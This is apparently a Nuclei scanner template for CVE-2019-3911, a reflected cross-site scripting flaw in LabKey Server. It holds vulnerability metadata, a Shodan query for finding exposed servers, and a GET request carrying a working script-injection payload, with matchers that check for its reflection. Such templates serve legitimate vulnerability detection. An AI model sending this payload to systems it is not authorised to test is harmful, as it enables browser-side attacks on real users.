50 lines
2.1 KiB
YAML
50 lines
2.1 KiB
YAML
id: CVE-2019-3911
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info:
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name: LabKey Server Community Edition <18.3.0 - Cross-Site Scripting
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author: princechaddha
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severity: medium
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description: LabKey Server Community Edition before 18.3.0-61806.763 contains a reflected cross-site scripting vulnerability via the onerror parameter in the /__r2/query endpoints, which allows an unauthenticated remote attacker to inject arbitrary JavaScript.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade LabKey Server Community Edition to version 18.3.0 or later to mitigate this vulnerability.
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reference:
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- https://www.tenable.com/security/research/tra-2019-03
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- https://nvd.nist.gov/vuln/detail/CVE-2019-3911
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2019-3911
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cwe-id: CWE-79
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epss-score: 0.00195
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epss-percentile: 0.57207
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cpe: cpe:2.3:a:labkey:labkey_server:*:*:community:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: labkey
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product: labkey_server
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shodan-query: 'Server: Labkey'
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tags: cve,cve2019,xss,labkey,tenable
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http:
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- method: GET
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path:
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- '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "</script><script>alert(document.domain)</script>"
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- type: word
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part: header
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words:
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- text/html
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022100ac467942fba9daaca216d918ad8e39e7159e412afd7e433c59d342e5de2922c0022031b3fa161bffe8f6b9d702aedf91c49866e720df36c3ada2dcf759fc6aa62891:922c64590222798bb761d5b6d8e72950 |